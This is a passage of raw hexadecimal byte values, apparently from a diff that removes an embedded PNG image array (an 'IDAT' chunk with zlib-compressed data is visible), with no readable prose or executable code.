0xff, 0xfe, 0xfd, 0xfe, 0xfe, 0xff, 0xfe, 0xfe, 0xfe, 0xfe, 0xfe, 0xfd, -0xfd, 0xfe, 0xfe, 0xfd, 0xfd, 0xfd, 0xfc, 0xfd, 0xff, 0xfc, 0xfd, 0xfd, 0xfb, 0xfd, 0xfe, 0xfd, -0xfc, 0xfc, 0xf9, 0xfc, 0xfe, 0xfb, 0xfb, 0xfb, 0xf8, 0xfc, 0xfd, 0xf7, 0xfb, 0xfd, 0xfa, 0xfa, -0xfa, 0xf6, 0xfa, 0xfc, 0xf9, 0xf9, 0xf8, 0xf4, 0xf9, 0xfd, 0xf8, 0xf8, 0xf7, 0xf4, 0xf9, 0xfb, -0xf7, 0xf7, 0xf6, 0xf2, 0xf8, 0xfb, 0xf7, 0xf6, 0xf5, 0xf0, 0xf7, 0xfb, 0xf6, 0xf5, 0xf5, 0xf4, -0xf4, 0xf3, 0xed, 0xf5, 0xfa, 0xf3, 0xf3, 0xf2, 0xeb, 0xf4, 0xf9, 0xf2, 0xf1, 0xf1, 0xe9, 0xf3, -0xf9, 0xf1, 0xf0, 0xef, 0xe6, 0xf2, 0xf8, 0xef, 0xef, 0xee, 0xe5, 0xf1, 0xf6, 0xe4, 0xf0, 0xf8, -0xee, 0xed, 0xed, 0xe1, 0xef, 0xf7, 0xec, 0xeb, 0xeb, 0xde, 0xed, 0xf6, 0xea, 0xe9, 0xe9, 0xdc, -0xec, 0xf5, 0xe9, 0xe7, 0xe6, 0xd9, 0xeb, 0xf4, 0xe7, 0xe5, 0xe4, 0xd6, 0xe9, 0xf4, 0xe5, 0xe3, -0xe3, 0xd4, 0xe8, 0xf3, 0xe3, 0xe2, 0xe1, 0xd2, 0xe7, 0xf2, 0xd1, 0xe6, 0xf3, 0xe2, 0xe0, 0xdf, -0xcf, 0xe5, 0xf2, 0xe1, 0xdf, 0xde, 0xce, 0xe4, 0xf1, 0xdf, 0xdd, 0xdd, 0xcb, 0xe3, 0xf0, 0xc8, -0xe2, 0xf0, 0xdd, 0xdb, 0xda, 0xdb, 0xda, 0xd9, 0xc6, 0xe0, 0xef, 0xc3, 0xdf, 0xee, 0xd9, 0xd7, -0xd7, 0xc0, 0xdd, 0xed, 0xd7, 0xd5, 0xd4, 0xbd, 0xdc, 0xed, 0xd5, 0xd2, 0xd1, 0xba, 0xda, 0xec, -0xd2, 0xd0, 0xcf, 0xb6, 0xd8, 0xeb, 0xd1, 0xce, 0xcd, 0xb3, 0xd6, 0xea, 0xb1, 0xd5, 0xe9, 0xce, -0xcc, 0xcb, 0xaf, 0xd4, 0xe9, 0xcd, 0xca, 0xc9, 0xac, 0xd3, 0xe8, 0xaa, 0xd1, 0xe7, 0xca, 0xc7, -0xc6, 0xc9, 0xc6, 0xc5, 0xa6, 0xcf, 0xe6, 0xc7, 0xc4, 0xc3, 0xc5, 0xc4, 0xc2, 0xc6, 0xc3, 0xc1, -0xa3, 0xcd, 0xe5, 0x9f, 0xcc, 0xe4, 0xc3, 0xc0, 0xbf, 0xc2, 0xbf, 0xbd, 0x9d, 0xca, 0xe3, 0x9a, -0xc9, 0xe3, 0xbf, 0xbc, 0xbb, 0x97, 0xc7, 0xe2, 0x94, 0xc6, 0xe1, 0xbc, 0xb9, 0xb8, 0xbb, 0xb7, -0xb6, 0x90, 0xc4, 0xe1, 0xb9, 0xb5, 0xb4, 0x8c, 0xc1, 0xdf, 0xb6, 0xb3, 0xb1, 0x88, 0xbf, 0xde, -0xb4, 0xb0, 0xaf, 0xb2, 0xaf, 0xad, 0x84, 0xbd, 0xdd, 0x80, 0xbb, 0xdc, 0xb0, 0xac, 0xaa, 0xaf, -0xab, 0xaa, 0xae, 0xaa, 0xa8, 0x7c, 0xb9, 0xdb, 0xac, 0xa7, 0xa7, 0x79, 0xb7, 0xda, 0xaa, 0xa6, -0xa5, 0x75, 0xb5, 0xd9, 0xa8, 0xa3, 0xa3, 0x71, 0xb3, 0xd8, 0xa5, 0xa1, 0x9f, 0x6d, 0xb1, 0xd6, -0xa3, 0x9e, 0x9d, 0x69, 0xae, 0xd5, 0xa1, 0x9c, 0x9b, 0x66, 0xad, 0xd4, 0x9f, 0x9b, 0x99, 0x63, -0xab, 0xd3, 0x9d, 0x98, 0x97, 0x60, 0xa9, 0xd3, 0x9a, 0x96, 0x94, 0x5e, 0xa8, 0xd2, 0x98, 0x93, -0x92, 0x5a, 0xa6, 0xd1, 0x57, 0xa5, 0xd0, 0x96, 0x91, 0x90, 0x96, 0x91, 0x8f, 0x95, 0x8f, 0x8e, -0x54, 0xa3, 0xcf, 0x94, 0x8f, 0x8e, 0x93, 0x8f, 0x8d, 0x92, 0x8d, 0x8c, 0x50, 0xa1, 0xce, 0x91, -0x8b, 0x8a, 0x4d, 0x9f, 0xcd, 0x8f, 0x8a, 0x88, 0x8d, 0x88, 0x86, 0x49, 0x9d, 0xcc, 0x8a, 0x85, -0x83, 0x44, 0x9a, 0xcb, 0x88, 0x82, 0x81, 0x40, 0x98, 0xca, 0x3c, 0x96, 0xc9, 0x84, 0x7e, 0x7c, -0x39, 0x95, 0xc8, 0x82, 0x7b, 0x7a, 0x35, 0x93, 0xc7, 0x81, 0x7a, 0x79, 0x80, 0x79, 0x78, 0x33, -0x91, 0xc6, 0x7e, 0x78, 0x76, 0x30, 0x90, 0xc5, 0x7c, 0x76, 0x74, 0x2d, 0x8e, 0xc4, 0x7a, 0x73, -0x72, 0x29, 0x8c, 0xc3, 0x78, 0x71, 0x70, 0x25, 0x8a, 0xc2, 0x22, 0x89, 0xc1, 0x75, 0x6e, 0x6d, -0x1f, 0x87, 0xc1, 0x1d, 0x86, 0xbf, 0x72, 0x6b, 0x6a, 0x1d, 0x85, 0xc0, 0x1b, 0x84, 0xbf, 0x70, -0x69, 0x67, 0x17, 0x82, 0xbe, 0x6d, 0x67, 0x65, 0x15, 0x81, 0xbe, 0x6c, 0x65, 0x64, 0x12, 0x80, -0xbc, 0x6b, 0x63, 0x61, 0x10, 0x7e, 0xbc, 0x0e, 0x7d, 0xbb, 0x68, 0x61, 0x5f, 0x0b, 0x7c, 0xbb, -0x66, 0x5f, 0x5d, 0x09, 0x7b, 0xba, 0x64, 0x5d, 0x5c, 0x07, 0x79, 0xba, 0x06, 0x79, 0xb9, 0x63, -0x5b, 0x59, 0x04, 0x78, 0xb9, 0x03, 0x77, 0xb8, 0x01, 0x77, 0xb9, 0x00, 0x77, 0xb8, 0x00, 0x77, -0xb7, 0x01, 0x76, 0xb8, 0x01, 0x76, 0xb7, 0x00, 0x76, 0xb9, 0x01, 0x76, 0xb6, 0x60, 0x58, 0x57, -0x00, 0x76, 0xb8, 0x02, 0x75, 0xb7, 0x00, 0x76, 0xb7, 0x00, 0x76, 0xb6, 0x00, 0x76, 0xb5, 0x00, -0x75, 0xb9, 0x00, 0x75, 0xb8, 0x00, 0x75, 0xb7, 0x00, 0x75, 0xb6, 0x00, 0x75, 0xb5, 0x00, 0x74, -0xb8, 0x5e, 0x56, 0x54, 0x5b, 0x53, 0x51, 0x57, 0x50, 0x4e, 0x55, 0x4d, 0x4b, 0x53, 0x4b, 0x49, -0x51, 0x49, 0x47, 0x4f, 0x47, 0x45, 0x4d, 0x45, 0x43, 0x4b, 0x42, 0x40, 0x48, 0x3f, 0x3d, 0x46, -0x3d, 0x3b, 0x44, 0x3b, 0x38, 0x41, 0x38, 0x36, 0x3f, 0x36, 0x34, 0x3d, 0x33, 0x31, 0x3b, 0x31, -0x2f, 0x38, 0x2e, 0x2c, 0x35, 0x2b, 0x29, 0x32, 0x29, 0x26, 0x30, 0x26, 0x24, 0x2e, 0x24, 0x21, -0x2b, 0x21, 0x1f, 0x29, 0x1f, 0x1d, 0x28, 0x1d, 0x1b, 0x26, 0x1b, 0x19, 0x24, 0x1a, 0x17, 0x24, -0x19, 0x16, 0x23, 0x19, 0x16, 0x22, 0x19, 0x14, 0x23, 0x18, 0x16, 0x23, 0x18, 0x14, 0x24, 0x17, -0x16, 0x22, 0x18, 0x16, 0x24, 0x17, 0x14, 0x22, 0x18, 0x14, 0x23, 0x17, 0x16, 0x23, 0x17, 0x14, -0x22, 0x17, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7, 0x44, 0x2e, 0xfd, 0x00, 0x00, 0x20, -0x00, 0x49, 0x44, 0x41, 0x54, 0x78, 0xda, 0xed, 0x7d, 0x07, 0x58, 0x14, 0x57, 0xbb, 0xff, 0xcc, -0xce, 0x30, 0xae, 0xbb, 0x86, 0x88, 0x05, 0xe5, 0x2f, 0xf1, 0x82, 0x5d, 0xa3, 0x18, 0x2b, 0xea, -0x67, 0x2c, 0xb1, 0x1b, 0xac, 0xb1, 0x5f, 0x6b, 0xd4, 0x24, 0x76, 0x93, 0x58, 0xb1, 0x45, 0x8d, -0x35, 0x31, 0x37, 0x96, 0xa8, 0xc1, 0x96, 0xa0, 0x41, 0xc5, 0x16, 0xc0, 0x86, 0x05, 0x45, 0xca, -0xce, 0xec, 0x3a, 0x99, 0x91, 0x99, 0xfd, 0x3e, 0x45, 0xa3, 0xd8, 0x90, 0xb2, 0x74, 0x66, 0x1c, -0x27, 0xee, 0xf3, 0xfc, 0xcf, 0x99, 0x05, 0x61, 0x1b, 0x2c, 0x86, 0x04, 0x73, 0xef, 0xbe, 0x2a, -0xb2, 0x3b, 0xb3, 0x33, 0x67, 0xcf, 0xef, 0xbc, 0xfd, 0x3d, 0xef, 0x20, 0x48, 0xa5, 0x11, 0xae, -0x42, 0x31, 0x04, 0x41, 0x51, 0x04, 0xab, 0xbc, 0x6b, 0xba, 0xe9, 0x6f, 0x20, 0x82, 0x40, 0x51, -0x1c, 0xe0, 0x56, 0x1d, 0x55, 0xa3, 0x55, 0x3d, 0x16, 0x37, 0x55, 0x80, 0x30, 0x0c, 0xf7, 0xf0, -0x0e, 0xe8, 0x1f, 0xd4, 0xbf, 0xa3, 0x77, 0x8d, 0xaa, 0x1e, 0x8b, 0x9b, 0x2a, 0x40, 0x28, 0xe2, -0xd5, 0x79, 0xf5, 0x81, 0xa8, 0x0b, 0x11, 0x47, 0x56, 0x8f, 0xa9, 0x5d, 0xd5, 0x83, 0x71, 0x53, -0xd9, 0x44, 0x00, 0x01, 0x89, 0x15, 0xe9, 0xb4, 0xda, 0xed, 0x17, 0xec, 0xbe, 0x64, 0x48, 0x4a, -0x4a, 0xd4, 0x5f, 0x3a, 0xb6, 0x68, 0x60, 0x7d, 0x9c, 0x20, 0x4a, 0xce, 0xc3, 0x10, 0xe2, 0xf5, -0x6e, 0xe0, 0xa6, 0xbf, 0x84, 0x50, 0xc5, 0x18, 0x21, 0x10, 0x15, 0xee, 0xdd, 0x6d, 0xd2, 0x81, -0x18, 0x9e, 0x64, 0x39, 0x96, 0x31, 0xd2, 0x34, 0xcb, 0xc4, 0x87, 0xad, 0xec, 0xdd, 0x54, 0x0b, -0x0e, 0xd5, 0x50, 0x6b, 0x51, 0x4c, 0x83, 0x20, 0x2a, 0x8f, 0xaa, 0x1e, 0xac, 0x9b, 0x6c, 0x09, -0x45, 0xde, 0xee, 0x32, 0x66, 0x7b, 0x94, 0x91, 0xa3, 0x69, 0x86, 0x49, 0x4c, 0x22, 0x79, 0x3d, -0x6d, 0x64, 0x78, 0x3e, 0x64, 0xc1, 0x07, 0x4d, 0x09, 0x1c, 0x87, 0x46, 0x26, 0x81, 0x22, 0xea, -0xaa, 0x1e, 0xa5, 0x9b, 0x4a, 0x11, 0x8a, 0x03, 0x50, 0xf0, 0xba, 0xfd, 0x16, 0x84, 0x45, 0x73, -0x8c, 0x9e, 0xa4, 0x79, 0x2e, 0x81, 0xa3, 0x59, 0x00, 0x1f, 0x09, 0xff, 0xc4, 0x9f, 0xd8, 0xfd, -0x51, 0x4b, 0xcb, 0x89, 0x18, 0xa6, 0x72, 0x5b, 0x9a, 0x6f, 0x12, 0xe1, 0x28, 0xa6, 0xed, 0x3d, -0x77, 0x5f, 0x14, 0xcf, 0x33, 0x89, 0xba, 0x5b, 0x8c, 0x91, 0xa2, 0xe3, 0xa2, 0x63, 0x69, 0x9e, -0xd6, 0x93, 0x14, 0x43, 0xf2, 0x5c, 0x7c, 0xd8, 0xe6, 0x11, 0xcd, 0xe1, 0x79, 0x1e, 0x38, 0x82, -0x57, 0xf5, 0x58, 0xdd, 0x54, 0x42, 0x68, 0xc3, 0x6e, 0x9f, 0xed, 0x8c, 0x23, 0xf5, 0x24, 0x93, -0x44, 0x51, 0x0c, 0x15, 0x1f, 0xb5, 0x65, 0xc6, 0x7b, 0x0d, 0x03, 0x86, 0x6e, 0x3c, 0x12, 0x4b, -0xd3, 0x14, 0x95, 0x40, 0x73, 0x00, 0xbf, 0x73, 0xc1, 0x23, 0x5a, 0xd7, 0x45, 0x50, 0xb7, 0x57, -0xfe, 0xc6, 0x10, 0x8a, 0x78, 0x07, 0xcc, 0xd8, 0x76, 0x85, 0xa1, 0x28, 0xf2, 0x37, 0x8a, 0xa6, -0xb8, 0xb8, 0x73, 0x7b, 0x17, 0xb5, 0x24, 0xa0, 0x44, 0x6c, 0x3a, 0x7c, 0x67, 0xf8, 0x75, 0x8e, -0x4a, 0xd4, 0x19, 0xf4, 0x24, 0xc7, 0xc5, 0x9e, 0x58, 0x36, 0xa2, 0xb1, 0xc6, 0x6d, 0x55, 0x56, -0x35, 0x69, 0xd4, 0x40, 0xea, 0xc1, 0xe0, 0x88, 0x6f, 0xbf, 0x95, 0x07, 0xae, 0x73, 0x06, 0x1d, -0x4f, 0x1b, 0x12, 0x8c, 0x46, 0x32, 0x6a, 0xc9, 0xd0, 0xe6, 0x5e, 0x96, 0x53, 0xb4, 0x58, 0xe3, -0xde, 0x73, 0xf7, 0xc6, 0xeb, 0x81, 0xba, 0x4b, 0x64, 0x59, 0x8e, 0xa3, 0x2e, 0x6c, 0x9f, 0xdd, -0xbe, 0xa6, 0x0a, 0x7c, 0x16, 0xb8, 0x0e, 0xc0, 0x4b, 0x70, 0xb3, 0x5f, 0x95, 0x90, 0x1a, 0xe8, -0x35, 0x0c, 0xd7, 0xbe, 0x17, 0x7c, 0x20, 0x5a, 0x47, 0x51, 0x1c, 0xcd, 0xeb, 0x99, 0x44, 0x2a, -0x7a, 0xe3, 0xe4, 0x77, 0x6b, 0x6b, 0x2d, 0x80, 0xc0, 0xd0, 0x97, 0xb6, 0x69, 0xcf, 0xe0, 0xd0, -0x38, 0x86, 0xa7, 0x58, 0x86, 0xfb, 0x0f, 0xaf, 0x8f, 0x3d, 0xbd, 0x7d, 0x76, 0x63, 0x1c, 0x1a, -0x28, 0x6e, 0x1b, 0xa5, 0x8a, 0x08, 0x45, 0x09, 0x8c, 0xf0, 0xee, 0x37, 0x73, 0xdf, 0x15, 0x86, -0x61, 0x19, 0x3d, 0xcd, 0xf3, 0xba, 0xb8, 0x53, 0x7b, 0x47, 0xb7, 0x06, 0x7c, 0x84, 0x57, 0x47, -0xb5, 0x8a, 0xd5, 0x5f, 0x24, 0x16, 0xbd, 0xfb, 0x2f, 0x0c, 0xbb, 0x44, 0x27, 0x18, 0xc1, 0x69, -0x0c, 0xc3, 0xf1, 0xe7, 0x76, 0x8e, 0xef, 0xe6, 0xa5, 0x82, 0x16, 0xa6, 0x1a, 0x75, 0xc3, 0xf7, -0xb7, 0x13, 0x86, 0x68, 0xbd, 0x3b, 0x8f, 0x09, 0x89, 0x26, 0x19, 0x86, 0xa6, 0xf5, 0xf0, 0xc7, -0xe9, 0xbd, 0x9f, 0x75, 0x53, 0x38, 0x09, 0x23, 0xd4, 0xc8, 0xab, 0xf8, 0x32, 0x04, 0x0f, 0xf7, -0x1a, 0xbd, 0x3a, 0xec, 0x12, 0xc9, 0x33, 0xc0, 0x3f, 0xe0, 0x18, 0xa3, 0x31, 0x6a, 0xfb, 0xd0, -0xf6, 0x5e, 0x28, 0xea, 0x96, 0x94, 0x55, 0x40, 0x98, 0xe6, 0xed, 0xe1, 0x2b, 0xc3, 0x2e, 0x71, -0x80, 0xdb, 0x74, 0x00, 0x34, 0xd6, 0x70, 0xe2, 0xeb, 0x7e, 0x2d, 0x6b, 0xa0, 0x98, 0x06, 0x03, -0xbe, 0x36, 0x86, 0x11, 0x9a, 0xe2, 0x13, 0x01, 0x3e, 0x6a, 0x0d, 0x82, 0xd6, 0x55, 0x40, 0xd6, -0x01, 0xdb, 0x85, 0x66, 0x93, 0x80, 0xb2, 0x3b, 0xb4, 0x64, 0x30, 0x8a, 0xe0, 0xee, 0x28, 0xca, -0xdf, 0x4d, 0x58, 0xcd, 0x9e, 0xb3, 0x8f, 0x44, 0xeb, 0x75, 0x46, 0x03, 0x07, 0x80, 0x63, 0xa9, -0xd3, 0x9b, 0x3f, 0x6a, 0x8f, 0x41, 0x8b, 0x43, 0x0d, 0x8d, 0x0e, 0xf0, 0x4b, 0x71, 0xe0, 0x12, -0xad, 0x8e, 0xaa, 0x55, 0x28, 0x14, 0x89, 0xde, 0xfd, 0x66, 0x84, 0x5c, 0xa2, 0x69, 0x06, 0xf2, -0x1d, 0xcb, 0xea, 0xce, 0x1d, 0x9a, 0xd9, 0xcd, 0xcb, 0x9d, 0xf7, 0xf9, 0xcb, 0x09, 0x05, 0x7f, -0x30, 0x68, 0x53, 0xa8, 0x11, 0x54, 0xd5, 0xb0, 0xcb, 0xc2, 0x7d, 0xb1, 0xbc, 0x9e, 0xd2, 0xd1, -0x46, 0x8e, 0xa1, 0x62, 0x7f, 0xdd, 0x36, 0xb3, 0xa1, 0x9a, 0x40, 0x71, 0x88, 0x82, 0xa6, 0xcc, -0xab, 0x04, 0x2c, 0xda, 0x7b, 0x2e, 0x8e, 0xa2, 0x0d, 0x14, 0x4f, 0xd3, 0xba, 0xa4, 0xeb, 0x21, -0x0b, 0x3a, 0x37, 0x44, 0x31, 0x14, 0xf5, 0x80, 0xf2, 0xd5, 0x6d, 0xae, 0xfc, 0x05, 0x84, 0x42, -0xcc, 0xc0, 0x4f, 0x82, 0x40, 0xd5, 0x5a, 0xdf, 0x8e, 0x1f, 0x6f, 0x89, 0xd5, 0x33, 0x06, 0x5a, -0x4f, 0xeb, 0xb9, 0x24, 0xdd, 0x85, 0xed, 0x9f, 0xb5, 0xf6, 0x42, 0x30, 0x1c, 0xc6, 0x44, 0x08, -0x18, 0x90, 0xac, 0xd7, 0xa6, 0x9d, 0xbf, 0xe3, 0xab, 0x00, 0x8f, 0xef, 0xfd, 0x25, 0x7b, 0xaf, -0x00, 0xb5, 0x68, 0x30, 0xd2, 0xc0, 0x0c, 0x4d, 0xba, 0xbe, 0x65, 0x46, 0xe7, 0x86, 0xd0, 0xc6, -0x54, 0xb9, 0x61, 0xfb, 0x4b, 0x08, 0x85, 0x4e, 0x17, 0x82, 0x54, 0xd3, 0x10, 0x1e, 0xbe, 0xbd, -0xbf, 0x0e, 0x8b, 0xe1, 0x79, 0x8a, 0x01, 0xbe, 0xb6, 0xd1, 0x10, 0x77, 0x6a, 0xd9, 0x08, 0x3f, -0x8d, 0x92, 0x19, 0x40, 0x08, 0x28, 0x1d, 0x89, 0x7a, 0x03, 0x0e, 0xdf, 0x4e, 0x3e, 0x3b, 0xc8, -0x61, 0x2c, 0x59, 0xab, 0xc2, 0xb0, 0xb7, 0x5b, 0x4e, 0xfa, 0xea, 0x5c, 0xfc, 0xbf, 0xff, 0x9d, -0xc4, 0x52, 0xc6, 0xa4, 0xa4, 0x5b, 0xb1, 0x61, 0x9b, 0xfb, 0x35, 0x24, 0x34, 0xa8, 0x0a, 0x75, -0x43, 0xf7, 0x17, 0x10, 0x0a, 0x70, 0x53, 0x21, 0xc0, 0xe2, 0xa8, 0xdf, 0x73, 0x59, 0x48, 0x0c, -0x4f, 0xb3, 0xc0, 0x8a, 0x64, 0x69, 0x8a, 0x8a, 0x0e, 0xfe, 0xe8, 0xdd, 0xba, 0x60, 0xce, 0x01, -0xbb, 0xa1, 0x2a, 0x88, 0x9b, 0x4f, 0x9f, 0x1d, 0x37, 0x4d, 0x05, 0x2f, 0x73, 0x7e, 0x6c, 0xe0, -0xf0, 0x32, 0x5a, 0xe8, 0xdc, 0x79, 0xb7, 0x9f, 0xb4, 0xee, 0x0a, 0x50, 0x75, 0x06, 0x23, 0x97, -0x44, 0xea, 0xe9, 0x98, 0x03, 0x2b, 0xfb, 0x35, 0xd4, 0xe2, 0x6a, 0x60, 0x8c, 0x56, 0xf5, 0xd7, -0xfc, 0x5f, 0x48, 0xc0, 0xec, 0xd0, 0x68, 0x7d, 0x7b, 0xcf, 0x3c, 0x16, 0x47, 0xd3, 0x34, 0xb4, -0x47, 0xc0, 0x9f, 0x63, 0xdb, 0xc6, 0xb4, 0x46, 0x08, 0x8b, 0xb3, 0xad, 0x94, 0x97, 0x34, 0x18, -0xb4, 0xf8, 0x41, 0xb6, 0x20, 0x09, 0x42, 0xf6, 0xd3, 0x2f, 0xea, 0x38, 0xbc, 0x0c, 0x70, 0xdc, -0x80, 0xd0, 0x05, 0xb6, 0x4a, 0xfb, 0xc9, 0x3b, 0xc3, 0x29, 0x5d, 0x02, 0x03, 0xc0, 0xa7, 0x28, -0x3a, 0xe1, 0xc4, 0xdc, 0x81, 0x8d, 0xbd, 0xc0, 0xd2, 0x70, 0x53, 0x65, 0x13, 0x98, 0xf0, 0xba, -0xbd, 0xa7, 0x85, 0x44, 0x33, 0x2c, 0x99, 0xc8, 0x02, 0xbf, 0x8d, 0x8e, 0xff, 0x35, 0x64, 0x7c, -0x00, 0x14, 0x91, 0x5a, 0x80, 0x04, 0xa1, 0x56, 0x69, 0x09, 0xcf, 0x01, 0xf3, 0xaf, 0x65, 0x88, -0x66, 0x59, 0xca, 0x49, 0x3d, 0xbb, 0xc2, 0xc7, 0xc9, 0x55, 0xa0, 0x04, 0x85, 0x52, 0x17, 0xd5, -0xb6, 0x9f, 0xbc, 0x2f, 0x22, 0x81, 0xe7, 0x38, 0x56, 0x67, 0x00, 0x2e, 0x45, 0x4c, 0xe8, 0xec, -0x81, 0xf5, 0xab, 0xfa, 0x4b, 0xfe, 0xaf, 0x22, 0x68, 0x48, 0x42, 0x4e, 0xa8, 0x1f, 0x14, 0x1c, -0x1e, 0x93, 0xa4, 0x67, 0x38, 0x1d, 0xab, 0x67, 0x58, 0xfa, 0x48, 0xf0, 0xc0, 0xd6, 0xa5, 0x4f, -0xc3, 0x7c, 0xc6, 0xee, 0x78, 0x64, 0x12, 0x04, 0x51, 0x14, 0x52, 0xd7, 0x8e, 0x6c, 0xe2, 0x52, -0x91, 0x50, 0xeb, 0xc1, 0xcb, 0x42, 0x79, 0x92, 0xe4, 0x8d, 0x0c, 0x63, 0xa4, 0xf5, 0xf1, 0x11, -0x1b, 0xa7, 0x35, 0x56, 0xd4, 0x1c, 0xbc, 0x1f, 0x5a, 0x72, 0x7b, 0x37, 0x55, 0x8c, 0x50, 0xc5, -0x42, 0x54, 0x34, 0x17, 0x98, 0xbd, 0xa0, 0x25, 0xa1, 0x17, 0x68, 0x96, 0x27, 0x19, 0x4a, 0x4f, -0x32, 0x5c, 0xc4, 0x96, 0xc1, 0x01, 0x45, 0x71, 0x64, 0x65, 0x66, 0x31, 0x74, 0xd8, 0xb7, 0x77, -0xd3, 0x25, 0x59, 0x14, 0xf2, 0xd2, 0x0e, 0xce, 0x6a, 0xe1, 0xd2, 0xf5, 0x81, 0xf9, 0x5f, 0x33, -0x60, 0xe0, 0xe6, 0x53, 0x7a, 0xe0, 0xd6, 0x71, 0x9c, 0x0e, 0x18, 0x99, 0x31, 0xe1, 0xeb, 0x26, -0x79, 0x23, 0xaf, 0xc2, 0x98, 0x84, 0x72, 0x92, 0x9b, 0x2a, 0x4e, 0x98, 0x1a, 0x58, 0x23, 0x28, -0xaa, 0x6a, 0xfa, 0xc1, 0x82, 0x10, 0x63, 0x92, 0xc1, 0x40, 0x72, 0xbc, 0x81, 0xd3, 0xc7, 0x9e, -0x5e, 0x37, 0xde, 0x8f, 0xc0, 0x4b, 0xb1, 0x44, 0x93, 0x01, 0x6b, 0x6f, 0x14, 0x08, 0x82, 0xf0, -0x3c, 0xe7, 0xc9, 0xd5, 0x29, 0x2d, 0x5c, 0x9d, 0x6c, 0xd4, 0x82, 0x90, 0xef, 0x47, 0x2b, 0x4f, -0xc4, 0xdc, 0x62, 0x39, 0x23, 0xcb, 0xe9, 0x75, 0x2c, 0x1b, 0xbe, 0x6e, 0x78, 0x7b, 0x4c, 0x43, -0x00, 0xc9, 0x8c, 0x63, 0xb0, 0xcc, 0xc1, 0xcd, 0x71, 0x15, 0x26, 0x60, 0x6d, 0xa0, 0x38, 0x46, -0xa0, 0xbe, 0x1d, 0xe7, 0xee, 0x8d, 0xa1, 0x79, 0x8e, 0x62, 0x69, 0xf6, 0x37, 0x3e, 0x36, 0x62, -0xfb, 0xec, 0xc6, 0x30, 0x9d, 0xa3, 0xa4, 0x65, 0x20, 0xf9, 0x74, 0x5d, 0x75, 0xd1, 0x24, 0x01, -0x6e, 0x13, 0x53, 0x6f, 0x2e, 0xef, 0x81, 0x58, 0x82, 0x94, 0x5a, 0x17, 0x6e, 0xa0, 0x05, 0xec, -0x0c, 0x2e, 0x83, 0x36, 0x9c, 0xb1, 0xf9, 0x54, 0x6c, 0x12, 0xcd, 0x24, 0xd1, 0x14, 0xe4, 0xe9, -0xf0, 0x75, 0xfd, 0x5a, 0xbe, 0x05, 0xf8, 0x0d, 0x1e, 0x53, 0x63, 0x6e, 0xe0, 0x2a, 0x4e, 0x8a, -0x6f, 0xe6, 0x17, 0xb4, 0xf1, 0x48, 0x3c, 0xa5, 0x03, 0x36, 0x24, 0xc7, 0x50, 0xa4, 0xfe, 0xd4, -0xdc, 0xfe, 0x8d, 0x35, 0x8a, 0x10, 0x2b, 0x4a, 0x88, 0x36, 0x1a, 0x75, 0xf8, 0x5e, 0x76, 0x01, -0x80, 0xad, 0xe0, 0xc9, 0xf1, 0x61, 0x6d, 0x6b, 0x20, 0xae, 0x57, 0xdf, 0x61, 0xc0, 0xac, 0x81, -0x66, 0x8a, 0xaa, 0xba, 0xb6, 0x61, 0xef, 0x19, 0x61, 0xb1, 0x34, 0x6d, 0xa0, 0x19, 0x1d, 0xe0, -0x3a, 0x18, 0xac, 0xfe, 0x17, 0x4e, 0x28, 0xba, 0xce, 0x2d, 0x2a, 0x5f, 0x87, 0x08, 0xbc, 0xee, -0xbf, 0xbe, 0x0a, 0xbd, 0xc2, 0xe9, 0xf9, 0xc4, 0x44, 0x9e, 0x61, 0xfe, 0x1d, 0x1f, 0xb1, 0x72, -0x74, 0xd3, 0xb7, 0xc1, 0x8c, 0xc3, 0xf9, 0x56, 0xa6, 0xb4, 0x7a, 0xf7, 0xfd, 0xf7, 0x4c, 0x50, -0x4a, 0xca, 0xcf, 0x22, 0x3f, 0xed, 0xa1, 0x56, 0x6b, 0x11, 0x0c, 0x73, 0x85, 0xd9, 0x14, 0xd2, -0x40, 0x79, 0x08, 0x3e, 0x00, 0x99, 0xaa, 0x61, 0xd0, 0xc2, 0xb0, 0xeb, 0x3c, 0xcd, 0xd0, 0x3a, -0x8a, 0x32, 0x18, 0xe3, 0x4e, 0xed, 0x1d, 0x1f, 0x00, 0xee, 0xa1, 0x76, 0x57, 0x61, 0xbe, 0x0e, -0xf9, 0x0e, 0x5e, 0x10, 0x76, 0x9d, 0xe1, 0x48, 0x96, 0x85, 0xd5, 0x76, 0xb1, 0xe1, 0xdb, 0x83, -0xfc, 0x8a, 0xc5, 0x23, 0x42, 0x00, 0x3d, 0xe4, 0x33, 0x6a, 0xcd, 0xbd, 0x2c, 0x51, 0x2e, 0x10, -0x72, 0x9e, 0x5d, 0x5e, 0xdf, 0x0c, 0xbe, 0x8b, 0x22, 0x88, 0x25, 0xc2, 0x62, 0x4d, 0x75, 0x9a, -0x74, 0xea, 0x31, 0xe0, 0xc3, 0x0f, 0x07, 0xf5, 0xea, 0xda, 0xa2, 0x94, 0x5b, 0xae, 0x5c, 0x8a, -0x50, 0x3c, 0x04, 0xa8, 0xed, 0x3c, 0xea, 0x76, 0x5b, 0x7d, 0xe8, 0x4a, 0xa2, 0x81, 0xd5, 0xff, -0xc6, 0x1b, 0x13, 0x29, 0xfa, 0xd2, 0xb6, 0xc9, 0xde, 0xb8, 0xbb, 0xae, 0xc8, 0x55, 0x52, 0x0a, -0x5b, 0x09, 0x30, 0x9f, 0x78, 0xfd, 0xf7, 0xa7, 0x85, 0xc6, 0xe8, 0x29, 0x5a, 0xaf, 0xd3, 0x01, -0x5b, 0xd2, 0x10, 0xbe, 0x73, 0xf2, 0x7b, 0x56, 0xab, 0xdf, 0xa7, 0xef, 0x9c, 0x64, 0x93, 0x28, -0x02, 0xe5, 0x66, 0xba, 0xb1, 0xa9, 0x7b, 0x1d, 0xa7, 0x57, 0xf4, 0x6c, 0x3b, 0x60, 0xd6, 0xda, -0xfd, 0xc7, 0x2f, 0xdf, 0xbc, 0x7d, 0xf5, 0xe4, 0xe1, 0x4d, 0x5f, 0x8e, 0xea, 0xd3, 0xac, 0x16, -0x52, 0x62, 0xe5, 0xbf, 0xba, 0x24, 0xaa, 0xd6, 0x78, 0xf8, 0x0d, 0x5e, 0x77, 0x28, 0x96, 0xa5, -0x79, 0x8a, 0x61, 0x28, 0x8e, 0xa4, 0xa3, 0x3e, 0x40, 0xd5, 0x6e, 0xe4, 0x5c, 0x24, 0x14, 0x1a, -0x0c, 0x80, 0x0d, 0xea, 0x4e, 0x5a, 0x17, 0x7e, 0x05, 0x70, 0x1b, 0x97, 0x08, 0x0b, 0xec, 0xe2, -0x8e, 0x04, 0xf7, 0x6c, 0x4c, 0xe0, 0xc5, 0x0a, 0x07, 0xfc, 0x5f, 0xe3, 0x93, 